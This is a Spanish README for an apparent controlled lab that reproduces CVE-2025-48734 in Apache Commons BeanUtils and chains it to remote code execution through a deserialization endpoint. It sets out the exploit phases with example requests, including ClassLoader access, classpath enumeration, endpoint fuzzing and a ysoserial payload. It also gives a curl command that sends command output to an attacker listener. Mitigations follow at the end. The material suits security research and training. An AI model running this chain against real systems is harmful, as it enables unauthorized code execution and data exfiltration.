
CVE-2025-48734 - Afecta a Apache Commons BeanUtils en versiones anteriores a 1.11.0 (y a la rama 2.x anterior a 2.0.0-M2).
Solo con fines educativos y de investigación de seguridad autorizada.
Este repositorio proporciona un entorno de laboratorio controlado para reproducir la vulnerabilidad CVE-2025-48734 en Apache Commons BeanUtils y explorar cómo un atacante podría escalar a ejecución remota de código (RCE) bajo ciertas condiciones.
CVE-2025-48734 afecta a Apache Commons BeanUtils en versiones anteriores a 1.11.0 (y a la rama 2.x anterior a 2.0.0-M2). El problema reside en PropertyUtilsBean, que permite acceder a la propiedad declaringClass de los enums de Java mediante rutas anidadas (p. ej., enum.declaringClass). Todos los enums heredan el método getDeclaringClass() de java.lang.Enum, que BeanUtils expone como una propiedad navegable.
Un atacante que pueda controlar la ruta de propiedad en las llamadas a getProperty() o getNestedProperty() puede:
ClassLoader de la aplicación (a través de enum.declaringClass.classLoader).classLoader.URLs[n].⚠️ Importante: La vulnerabilidad por sí sola no concede RCE directamente. Proporciona acceso al
ClassLoadery permite la enumeración del classpath, lo que debe encadenarse con un endpoint de deserialización insegura y una librería de gadgets vulnerable para lograr la ejecución de código. Consulte la sección Análisis detallado del exploit.
Puntuación CVSS: 8.8 (Alta) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
El laboratorio consta de dos componentes:
Un servicio Spring Boot que expone los siguientes endpoints:
GET /api/property?path=<property-path> — lee una propiedad anidada usando PropertyUtilsBean.getNestedProperty() sin saneamiento. Este es el punto de entrada del CVE.GET /api/nested-set?path=<path>&value=<value> — escribe propiedades anidadas (también vulnerable).POST /api/data/import — acepta objetos Java serializados en bruto (application/octet-stream) y los deserializa sin validación. Este es el vector de entrega de RCE.El bean objetivo es un objeto Order que contiene un enum Status. Esto permite construir la cadena status.declaringClass.classLoader.
Nota: El endpoint
/api/data/importno forma parte de CVE-2025-48734. Se incluye para simular un escenario realista donde un endpoint de deserialización vulnerable coexiste con el CVE. En una aplicación real, este tipo de endpoint aparece en integraciones heredadas, APIs internas o middleware mal configurado.
| Librería | Versión | Rol en la cadena |
|---|---|---|
commons-beanutils | 1.9.4 | Punto de entrada de CVE-2025-48734 |
commons-collections | 3.2.2 | Cadena de gadgets de deserialización |
chmod +x setup-lab-debian.sh
./setup-lab-debian.sh
El script instala las dependencias, compila el proyecto, lo registra como servicio systemd y lo inicia automáticamente. La aplicación escucha en 0.0.0.0:8080.
chmod +x kali-lab-tools.sh
./kali-lab-tools.sh <debian_ip> 8080
El script instala las dependencias y descarga ysoserial.
El exploit está completamente automatizado en un único script que impone el orden correcto de las fases. Cada fase es un requisito previo para la siguiente.
cd ~/lab-tools
./exploit.sh <debian_ip> 8080 '<command>'
El script sondea status.declaringClass y status.declaringClass.classLoader. Si cualquiera de los dos está bloqueado, el script se aborta: la aplicación está parcheada y la cadena no puede continuar.
GET /api/property?path=status.declaringClass
→ "status": "success", "valueClass": "java.lang.Class"
GET /api/property?path=status.declaringClass.classLoader
→ "status": "success", "valueClass": "org.springframework.boot.loader.LaunchedURLClassLoader"
Usando la referencia al ClassLoader obtenida en la Fase 1, el script itera classLoader.URLs[n] para listar todos los JARs cargados y busca Commons Collections 3.x. Si no lo encuentra, el script se aborta: no hay cadena de gadgets disponible.
GET /api/property?path=status.declaringClass.classLoader.URLs[0]
→ jar:file:/…/BOOT-INF/classes!/
GET /api/property?path=status.declaringClass.classLoader.URLs[30]
→ jar:file:/…/BOOT-INF/lib/commons-collections-3.2.2.jar!/
Con una cadena de gadgets confirmada, el script realiza fuzzing sobre endpoints comunes de importación/sincronización enviando los bytes mágicos de serialización de Java (0xACED0005) e identifica los endpoints que intentan ObjectInputStream.readObject() por su patrón de respuesta. Si no se encuentra ningún endpoint, el script se aborta.
POST /api/data/import (magic bytes)
→ HTTP 200 — endpoint found
ysoserial genera un payload CommonsCollections6 (el más portable para Java 11+) y lo envía al endpoint descubierto.
POST /api/data/import
Content-Type: application/octet-stream
Body: <ysoserial CommonsCollections6 payload>
→ {"status": "success", "class": "java.util.HashSet"}
El comando se ejecuta en el servidor durante la deserialización, antes de que se devuelva la respuesta. La salida puede exfiltrarse redirigiéndola a un archivo o mediante una callback HTTP:
# Write to file
./exploit.sh <ip> 8080 'bash -c {id,}>/tmp/out.txt'
# Then on Debian: cat /tmp/out.txt
# → uid=0(root) gid=0(root) groups=0(root)
# Exfiltrate via HTTP (listener on Kali)
python3 -m http.server 9000
./exploit.sh <ip> 8080 'curl http://<kali_ip>:9000/$(id)'
El CVE no es un vector de RCE directo: es el pivote de reconocimiento que hace posible el resto de la cadena:
Without CVE-2025-48734:
→ No ClassLoader access
→ No classpath enumeration
→ No way to confirm Commons Collections 3.x is present
→ No reason to look for a deserialization endpoint
→ Chain broken at the start
With CVE-2025-48734:
→ ClassLoader exposed
→ Full classpath visible via URLs[n]
→ Commons Collections 3.x confirmed
→ Deserialization endpoint discovered via fuzzing
→ RCE achieved
Las tres condiciones que deben coincidir para lograr un RCE completo:
| Condición | Este laboratorio | Mundo real |
|---|---|---|
| BeanUtils < 1.11.0 con entrada de ruta sin filtrar | ✅ | Común en aplicaciones heredadas |
| Librería de gadgets en el classpath (CC 3.x) | ✅ |
Actualice Commons BeanUtils:
| Artefacto | Vulnerable | Seguro |
|---|---|---|
commons-beanutils:commons-beanutils | < 1.11.0 | >= 1.11.0 |
org.apache.commons:commons-beanutils2 | < 2.0.0-M2 | >= 2.0.0-M2 |
En pom.xml:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.11.0</version>
</dependency>
Dos mitigaciones complementarias:
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(
"java.lang.Integer;java.lang.String;!*"
));
Después de actualizar BeanUtils a 1.11.0, recompile y reinicie el servicio. Ejecute el script de exploit: debería abortar en la Fase 1:
[-] declaringClass bloqueado - aplicacion PARCHEADA. Abortando.
Esta herramienta se proporciona solo con fines educativos y pruebas de seguridad autorizadas. El uso no autorizado contra sistemas que no posea o para los que no tenga permiso escrito explícito para probar es ilegal. El autor no se hace responsable de ningún uso indebido.
| Frecuente en Java empresarial |
| Endpoint de deserialización insegura | ✅ | Menos común, pero presente en integraciones heredadas/middleware |